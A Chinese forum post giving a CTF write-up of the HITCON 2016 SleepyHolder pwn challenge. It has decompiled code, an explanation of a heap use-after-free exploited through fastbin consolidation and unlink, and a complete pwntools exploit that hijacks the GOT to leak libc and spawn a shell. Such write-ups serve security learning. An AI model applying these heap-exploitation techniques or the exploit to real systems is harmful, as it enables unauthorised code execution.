R00tkit 发表于 2023-8-25 15:50

HITCON CTF 2016 : SleepyHolder

本帖最后由 R00tkit 于 2023-9-22 19:50 编辑


# 检查文件信息


ELF64小端动态链接的bin,没有开PIE和FULL RELRO。

ubuntu14.04应该用glibc_2.19,我这里用的glibc2.23,如果要用2.19的libc可以整一个本地的libc-database,然后下载相应版本即可。
改libc为glibc2.23。

# 试运行

# 逆向分析
```cpp
/* main */

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
unsigned int buf; // BYREF
int fd; //
int v6; //
char s; // BYREF
unsigned __int64 v8; //

v8 = __readfsqword(0x28u);
sub_400CEB(a1, a2, a3);
puts("Waking Sleepy Holder up ...");
fd = open("/dev/urandom", 0);
read(fd, &buf, 4uLL);
buf &= 0xFFFu;
malloc(buf); // 初始化堆
sleep(3u);
puts("Hey! Do you have any secret?");
puts("I can help you to hold your secrets, and no one will be able to see it :)");
while ( 1 )
{
    puts("1. Keep secret");
    puts("2. Wipe secret");
    puts("3. Renew secret");
    memset(s, 0, 4uLL);
    read(0, s, 4uLL);
    v3 = atoi(s);
    v6 = v3;
    switch ( v3 )
    {
      case 2:
      wipe();
      break;
      case 3:
      renew();
      break;
      case 1:
      keep();
      break;
    }
}
}

```

```cpp
/* keep */

unsigned __int64 keep()
{
int v0; // eax
char s; // BYREF
unsigned __int64 v3; //

v3 = __readfsqword(0x28u);
puts("What secret do you want to keep?");
puts("1. Small secret");
puts("2. Big secret");
if ( !huge_in_use )// 只可申请一次huge
    puts("3. Keep a huge secret and lock it forever");
memset(s, 0, 4uLL);
read(0, s, 4uLL);
v0 = atoi(s);
if ( v0 == 2 )
{
    if ( !big_in_use )
    {
      big_ptr = calloc(1uLL, 0xFA0uLL);
      big_in_use = 1;
      puts("Tell me your secret: ");
      read(0, big_ptr, 0xFA0uLL); // 可能泄露信息
    }
}
else if ( v0 == 3 )
{
    if ( !huge_in_use )
    {
      huge_ptr = calloc(1uLL, 0x61A80uLL);
      huge_in_use = 1;
      puts("Tell me your secret: ");
      read(0, huge_ptr, 0x61A80uLL); // 可能泄露信息
    }
}
else if ( v0 == 1 && !small_in_use )
{
    small_ptr = calloc(1uLL, 0x28uLL);
    small_in_use = 1;
    puts("Tell me your secret: ");
    read(0, small_ptr, 0x28uLL); // 可能泄露信息
}
return __readfsqword(0x28u) ^ v3;
}

```

```cpp
/* wipe */

unsigned __int64 wipe()
{
int v0; // eax
char s; // BYREF
unsigned __int64 v3; //

v3 = __readfsqword(0x28u);
puts("Which Secret do you want to wipe?"); // 不可释放huge
puts("1. Small secret");
puts("2. Big secret");
memset(s, 0, 4uLL);
read(0, s, 4uLL);
v0 = atoi(s);
if ( v0 == 1 )
{
    free(small_ptr);// 未置零,UAF
    small_in_use = 0;
}
else if ( v0 == 2 )
{
    free(big_ptr); // 未置零,UAF
    big_in_use = 0;
}
return __readfsqword(0x28u) ^ v3;
}

```


```cpp
/* renew */
unsigned __int64 renew()
{
int v0; // eax
char s; // BYREF
unsigned __int64 v3; //

v3 = __readfsqword(0x28u);
puts("Which Secret do you want to renew?");
puts("1. Small secret");
puts("2. Big secret");
memset(s, 0, 4uLL);
read(0, s, 4uLL);
v0 = atoi(s);
if ( v0 == 1 )
{
    if ( small_in_use )
    {
      puts("Tell me your secret: ");
      read(0, small_ptr, 0x28uLL);// 可能存在信息泄露
    }
}
else if ( v0 == 2 && big_in_use )
{
    puts("Tell me your secret: ");
    read(0, big_ptr, 0xFA0uLL); // 可能存在信息泄露
}
return __readfsqword(0x28u) ^ v3;
}

```

# 漏洞利用
因为存在一次large bin的申请,会触发__malloc_consolidate,而且存在UAF漏洞,可以通过fastbin_dup_consolidate来形成double free,而且这个过程会把后一个chunk的PREV_INUSE位置为0。而small_ptr的大小为0x28,对齐时可以修改后一个chunk的prev_size位,可控空间大小为0x28,可以构造fake_chunk进而形成unlink,达到任意地址写。
## 首先进行unlink
```python
def unlink():
    keep(1,b'b'*0x8)
    keep(2,b'a'*0x8)
    wipe(1)
    #debug()
    keep(3,b'a'*0x8) # FDC mov 1-> small bin and set 2->PREV_INUSE=0
    #debug()
    wipe(1) # DF
    #debug()

    payload = p64(0) + p64(0x21)
    payload += p64(small_ptr-0x18)
    payload += p64(small_ptr-0x10)
    payload += p64(0x20)
    keep(1,payload)
    #debug()
    wipe(2)
    #debug()

```

首先申请small,big两个堆块,然后释放small,因为程序在main函数里已经进行过初始化操作,所以small会被放入fastbin。


再次申请一个large bins大小的chunk,会触发fastbin_dup_consolidate(),然后将fast bin中的small拿出来放入small bins。



此时再次释放small,便可绕过double free检查,small被同时放入small bins和fast binY。


因为small的大小为0x28,会占用后一个chunk的prev_size位,我们可以再次将small申请回来,构造fake chunk,fake_fd,fake_bk和修改下一个chunk的prev_size。关于unlink的原理我不在赘述,请看我的上一篇文章(HITCON CTF 2016:Secret Holder)


此时释放big即可完成unlink,将small_ptr指向了自身上方0x18的位置。

## 然后利用打印函数泄露libc,再根据bss的布局调整重写即可
```python
def get_shell():
    keep(2,b'a'*0x8)
    # 6020B8->AAAAAAA big_ptr huge_ptr small_ptr big_in_use huge_in_use
    payload = b"A"*8 + p64(puts_got) + p64(0) + p64(free_got) + p32(1) + p32(1)
    renew(1,payload)
    renew(1,p64(puts_plt))
    debug()

    wipe(2)

    puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']

    keep(2,b'a'*0x8)
    renew(1,p64(system_addr))
    renew(2, b'/bin/sh\x00')
    wipe(2)

```

在IDA里可以看到bss布局

我们改完以后(renew(1,payload)之后)bss布局。

再次修改small内容,就是修改free_got内容,将free_got换成puts_plt,打印big内容就可以把puts_got打印出来,进而得到libc基址。




然后将free_got内容改为system函数地址,在申请一个big,将其内容改为'/bin/sh\x00',释放big既可以getshell。

## 完整exp
```python
from pwn import *

context.arch='amd64'
context.terminal=['tmux', 'splitw', '-h']

elf = ELF('./SleepyHolder')
libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

free_got = elf.got['free']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

small_ptr = 0x6020d0 # 1 0x28 0x30
big_ptr = 0x6020c0   # 2 0xfa0
huge_ptr = 0x6020c8# 3 0x61a80

p = process("./SleepyHolder")

def debug():
    gdb.attach(p)
    pause()

def keep(index, content):
    p.recvuntil(b"Renew secret\n")
    p.sendline(b"1")
    p.recvuntil(b"\n")
    p.sendline(str(index).encode())
    p.recvuntil(b"secret: \n")
    p.send(content)

def wipe(index):
    p.recvuntil(b"3. Renew secret\n")
    p.sendline(b"2")
    p.recvuntil(b"Big secret\n")
    p.send(str(index).encode())

def renew(index, content):
    p.recvuntil(b"Renew secret\n")
    p.sendline(b"3")
    p.recvuntil(b"Big secret\n")
    p.sendline(str(index).encode())
    p.recvuntil(b"secret: \n")
    p.send(content)

def unlink():
    keep(1,b'b'*0x8)
    keep(2,b'a'*0x8)
    wipe(1)
    #debug()
    keep(3,b'a'*0x8) # FDC mov 1-> small bin and set 2->PREV_INUSE=0
    #debug()
    wipe(1) # DF
    #debug()

    payload = p64(0) + p64(0x21)
    payload += p64(small_ptr-0x18)
    payload += p64(small_ptr-0x10)
    payload += p64(0x20)
    keep(1,payload)
    #debug()
    wipe(2)
    #debug()

def get_shell():
    keep(2,b'a'*0x8)
    # 6020B8->AAAAAAA big_ptr huge_ptr small_ptr big_in_use huge_in_use
    payload = b"A"*8 + p64(puts_got) + p64(0) + p64(free_got) + p32(1) + p32(1)
    renew(1,payload)
    renew(1,p64(puts_plt))
    #debug()
    wipe(2)

    puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']

    keep(2,b'a'*0x8)
    renew(1,p64(system_addr))
    renew(2, b'/bin/sh\x00')
    #debug()
    wipe(2)

def pwn():
    unlink()
    get_shell()
    p.interactive()

if __name__ == '__main__':
    pwn()

```
页: [1]
查看完整版本: HITCON CTF 2016 : SleepyHolder